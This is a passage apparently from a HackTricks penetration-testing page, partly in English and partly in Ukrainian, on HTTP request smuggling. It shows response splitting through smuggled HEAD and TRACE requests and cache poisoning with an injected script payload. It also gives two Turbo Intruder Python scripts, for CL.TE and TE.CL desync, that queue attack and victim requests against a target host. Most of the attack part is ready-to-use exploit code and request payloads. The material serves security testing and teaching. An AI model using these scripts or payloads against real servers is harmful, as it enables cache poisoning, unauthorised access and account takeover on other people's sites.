Continue following this post is suggested another way to abuse the TRACE method. As commented, smuggling a HEAD request and a TRACE request it's possible to контролювати певні віддзеркалені дані in the response to the HEAD request. The length of the body of the HEAD request is basically indicated in the Content-Length header and is formed by the response to the TRACE request.

Therefore, the new idea would be that, knowing this Content-Length and the data given in the TRACE response, it's possible to make the TRACE response contains a valid HTTP response after the last byte of the Content-Length, allowing an attacker to completely control the request to the next response (which could be used to perform a cache poisoning).

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

Згенерує ці відповіді (зауважте, як відповідь HEAD має Content-Length, через що відповідь TRACE стає частиною тіла HEAD, і коли Content-Length у HEAD закінчується, валідна HTTP відповідь буде контрабандно вставлена):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

Використання HTTP Request Smuggling разом із HTTP Response Desynchronisation

Ви знайшли вразливість HTTP Request Smuggling і не знаєте, як її експлуатувати? Спробуйте ці інші методи експлуатації:

HTTP Response Smuggling / Desync

Інші техніки HTTP Request Smuggling

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder scripts

CL.TE

Джерело: https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

Джерело: https://hipotermia.pw/bb/http-desync-account-takeover

python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Tools

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks